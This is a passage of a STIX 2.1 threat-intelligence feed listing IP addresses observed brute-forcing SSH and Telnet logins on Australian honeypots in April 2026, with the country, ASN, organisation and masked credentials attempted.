      "pattern": "[ipv4-addr:value = '47.236.202.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--bb238628-7a2a-4ea9-a9f8-24d5402f1ced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.237.102.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 10175. Organisation(s): Kumho Cable.",
      "id": "indicator--5681d708-49c2-481a-9311-23791e9125d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.143.16.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--2857e31d-f534-440b-a574-545ceeaa3ebc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.142.58.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--95bf2c3c-83a0-43ab-861f-db09de7e4eee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.68.39.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--e5dd69ed-43d8-4ebc-8187-883b813d862e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.71.120.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T18:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB.",
      "id": "indicator--f904ae5c-09de-455c-8595-9270a9db6c04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T18:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.227.124.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T18:15:29.000Z",
      "valid_until": "2026-05-07T18:15:08.000Z"
    },
    {
      "created": "2026-04-05T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b899efe0-0ce6-4280-806f-3648cee4ef1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:15:10.000Z",
      "valid_until": "2026-05-07T19:15:08.000Z"
    },
    {
      "created": "2026-04-05T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8369. Organisation(s): Intersvyaz-2 JSC.",
      "id": "indicator--958d5128-a9f3-4018-8dd5-440509441f0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.140.44.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:15:10.000Z",
      "valid_until": "2026-05-07T19:15:08.000Z"
    },
    {
      "created": "2026-04-05T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--8758ea5d-ab27-440f-a890-38298b9f39d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.20.5.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:15:10.000Z",
      "valid_until": "2026-05-07T19:15:08.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--5b576839-505e-4253-a7f8-7379f7301077",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.174.1.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e42a9eff-c99e-4f8a-8117-19475755971f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.255.226.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--458924b9-f6df-45fe-9186-5cab7064aed3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.245.138.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): d****y, r**t. Passwords observed (masked): A*******H, c******e.",
      "id": "indicator--b458b4c2-8265-4e59-ac85-8c25c083cbcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.124.42.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t, a***n, d********r, s***m, u****u. Passwords observed (masked): 1*********0, 1*******#, A********$, A*******!, A********6.",
      "id": "indicator--bed5c877-554e-41e2-929b-f3780ffd1b6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.76.236.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, ***, 3**********4, ***, g***********r. Passwords observed (masked): 1**4, 1********e, 1******8, 1******t, 1*******d.",
      "id": "indicator--0400fbb2-0130-4d52-a922-eb4570c6e092",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.203.59.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--39e421bb-810a-4a63-8f25-2f3781aaa129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.219.57.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 212477. Organisation(s): RoyaleHosting BV. Usernames observed (masked): r**t, s****r, u****u, 3**********4, ***. Passwords observed (masked): 1****6, 1*******a, 1*******?, 1********y, 1*******..",
      "id": "indicator--ccb3959a-14d0-458f-ba1f-b6c9d2ede919",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.212.45.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:15:05.000Z",
      "valid_until": "2026-05-07T20:15:03.000Z"
    },
    {
      "created": "2026-04-05T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--674eb712-b736-4a31-a96e-b0010291a4e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.59.183.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:15:11.000Z",
      "valid_until": "2026-05-07T21:15:08.000Z"
    },
    {
      "created": "2026-04-05T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--4837c823-c45f-4413-811e-79bd2abb84fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.0.65.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:15:11.000Z",
      "valid_until": "2026-05-07T21:15:08.000Z"
    },
    {
      "created": "2026-04-05T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--502c21a4-3ec0-4168-990e-f22e822dc19d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.168.73.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:15:11.000Z",
      "valid_until": "2026-05-07T21:15:08.000Z"
    },
    {
      "created": "2026-04-05T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18429. Organisation(s): Extra-Lan Technologies Co., LTD.",
      "id": "indicator--1a7e2f71-d727-4f3d-8db8-b5e8e9348b62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.147.36.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:15:11.000Z",
      "valid_until": "2026-05-07T21:15:08.000Z"
    },
    {
      "created": "2026-04-05T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--52f14b24-6472-4e5d-afc9-061b0a7c7204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.238.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T22:15:11.000Z",
      "valid_until": "2026-05-07T22:15:08.000Z"
    },
    {
      "created": "2026-04-05T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--18ac9e09-b11b-4f1a-942e-5f3a428856ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.109.205.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T22:15:11.000Z",
      "valid_until": "2026-05-07T22:15:08.000Z"
    },
    {
      "created": "2026-04-05T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d0b8c254-6959-4b5c-bf48-0e5186966e7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.59.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T23:15:11.000Z",
      "valid_until": "2026-05-07T23:15:09.000Z"
    },
    {
      "created": "2026-04-05T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--428b29a4-851f-4d1f-ab39-1332929940ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.48.18.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T23:15:11.000Z",
      "valid_until": "2026-05-07T23:15:09.000Z"
    },
    {
      "created": "2026-04-06T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 152565. Organisation(s): JOY SERVICES.",
      "id": "indicator--6ca59b81-61bd-40e2-b957-6db35e32a868",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.61.39.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T00:15:11.000Z",
      "valid_until": "2026-05-08T00:15:08.000Z"
    },
    {
      "created": "2026-04-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--462e1491-476b-4dfb-bb19-092f8740a3c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '18.206.228.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:15:10.000Z",
      "valid_until": "2026-05-08T01:15:08.000Z"
    },
    {
      "created": "2026-04-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--ad93db87-0e80-41a8-9e90-ae9990599d82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:15:10.000Z",
      "valid_until": "2026-05-08T01:15:08.000Z"
    },
    {
      "created": "2026-04-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--4c6707cf-1203-4619-aad3-5190dc6bab15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:15:10.000Z",
      "valid_until": "2026-05-08T01:15:08.000Z"
    },
    {
      "created": "2026-04-06T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, ***, 1***5, N*******3, n**i.",
      "id": "indicator--5465e9e2-5c51-4597-b31d-76fbfb884f70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.52.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:15:10.000Z",
      "valid_until": "2026-05-08T02:15:08.000Z"
    },
    {
      "created": "2026-04-06T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--310debb4-b686-4668-a5b6-f304e2bc7430",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.60.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:15:10.000Z",
      "valid_until": "2026-05-08T02:15:08.000Z"
    },
    {
      "created": "2026-04-06T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--1b73cf1f-8c29-478c-a7a3-8a07bbb8ae51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.118.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:15:10.000Z",
      "valid_until": "2026-05-08T02:15:08.000Z"
    },
    {
      "created": "2026-04-06T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--37d081d0-d8c8-49b5-b754-77b6371372f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.30.183.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:15:10.000Z",
      "valid_until": "2026-05-08T02:15:08.000Z"
    },
    {
      "created": "2026-04-06T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--db6e29cf-f35b-40c6-bab7-c5c801aba30d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:15:10.000Z",
      "valid_until": "2026-05-08T02:15:08.000Z"
    },
    {
      "created": "2026-04-06T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL). Usernames observed (masked): d****n, r**t. Passwords observed (masked): 1**4, q***********@.",
      "id": "indicator--16147859-1553-4524-b99a-e96b70af05ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.6.203.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:15:10.000Z",
      "valid_until": "2026-05-08T02:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--451d3e88-30fa-4dd0-9f5e-84a68fa93dc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
